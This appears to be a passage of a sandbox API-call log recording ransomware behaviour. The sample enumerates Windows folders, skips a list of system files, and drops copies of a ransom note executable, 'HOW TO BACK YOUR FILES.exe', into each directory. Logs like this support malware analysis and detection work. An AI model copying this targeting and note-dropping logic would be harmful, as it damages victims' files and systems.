	[0084.780] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.780] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.780] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.780] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.780] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.780] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="Apollon865.txt.exe") returned 1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2=".") returned 1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="..") returned 1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="windows") returned -1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="bootmgr") returned 1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="temp") returned -1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="pagefile.sys") returned -1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="boot") returned 1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="ids.txt") returned -1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="ntuser.dat") returned -1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="perflogs") returned -1
	[0084.780] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="MSBuild") returned -1
	[0084.780] lstrlenW (lpString="BreadcrumbStore") returned 15
	[0084.780] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\NetFramework\\*") returned 43
	[0084.780] lstrcpyW (in: lpString1=0x119e65c, lpString2="BreadcrumbStore" | out: lpString1="BreadcrumbStore") returned="BreadcrumbStore"
	[0084.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0084.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5916c0
	[0084.780] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bf0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bf0) returned 0x5b7b90
	[0084.780] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fbdff50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.780] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.780] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fbdff50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.781] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.781] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bf0
	[0084.781] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore"
	[0084.781] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0084.781] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0084.781] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned 57
	[0084.781] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" | out: lpString1="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore"
	[0084.781] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.781] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.781] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.782] GetLastError () returned 0x0
	[0084.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.782] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.782] CloseHandle (hObject=0x10c) returned 1
	[0084.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.782] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.782] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.782] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.782] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.782] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.782] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.782] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.782] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.782] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.782] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.782] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.782] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.782] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.782] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.783] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0084.783] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\MSDN", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\MSDN") returned="C:\\Users\\All Users\\Microsoft\\MSDN"
	[0084.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bded8 | out: hHeap=0x580000) returned 1
	[0084.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0084.783] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MSDN") returned 33
	[0084.783] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\MSDN" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MSDN") returned="C:\\Users\\All Users\\Microsoft\\MSDN"
	[0084.783] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.783] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\msdn\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.783] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.784] GetLastError () returned 0x0
	[0084.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.784] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.784] CloseHandle (hObject=0x10c) returned 1
	[0084.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.784] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.784] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.784] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.784] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.784] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.784] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.784] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.784] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.784] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.784] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.784] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1
	[0084.784] lstrcmpiW (lpString1="8.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.784] lstrcmpiW (lpString1="8.0", lpString2="Apollon865.txt.exe") returned -1
	[0084.784] lstrcmpiW (lpString1="8.0", lpString2=".") returned 1
	[0084.784] lstrcmpiW (lpString1="8.0", lpString2="..") returned 1
	[0084.785] lstrcmpiW (lpString1="8.0", lpString2="windows") returned -1
	[0084.785] lstrcmpiW (lpString1="8.0", lpString2="bootmgr") returned -1
	[0084.785] lstrcmpiW (lpString1="8.0", lpString2="temp") returned -1
	[0084.785] lstrcmpiW (lpString1="8.0", lpString2="pagefile.sys") returned -1
	[0084.785] lstrcmpiW (lpString1="8.0", lpString2="boot") returned -1
	[0084.785] lstrcmpiW (lpString1="8.0", lpString2="ids.txt") returned -1
	[0084.785] lstrcmpiW (lpString1="8.0", lpString2="ntuser.dat") returned -1
	[0084.785] lstrcmpiW (lpString1="8.0", lpString2="perflogs") returned -1
	[0084.785] lstrcmpiW (lpString1="8.0", lpString2="MSBuild") returned -1
	[0084.785] lstrlenW (lpString="8.0") returned 3
	[0084.785] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MSDN\\*") returned 35
	[0084.785] lstrcpyW (in: lpString1=0x119e64c, lpString2="8.0" | out: lpString1="8.0") returned="8.0"
	[0084.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0084.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bcb18
	[0084.785] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0084.785] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.785] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.785] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.785] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.785] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0084.785] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0"
	[0084.785] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0084.785] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0084.785] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0") returned 37
	[0084.785] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0"
	[0084.785] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.785] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.786] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.786] GetLastError () returned 0x0
	[0084.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.786] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.786] CloseHandle (hObject=0x10c) returned 1
	[0084.786] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.786] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.786] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.787] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.787] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.787] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.787] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.787] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.787] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.787] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.787] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.787] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.787] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.787] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.787] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.787] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a70
	[0084.787] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\MF", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF"
	[0084.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6118 | out: hHeap=0x580000) returned 1
	[0084.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0084.787] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MF") returned 31
	[0084.787] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\MF" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF"
	[0084.787] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.787] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\mf\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.788] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.788] GetLastError () returned 0x0
	[0084.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.788] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.788] CloseHandle (hObject=0x10c) returned 1
	[0084.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.788] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.788] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.789] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.789] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
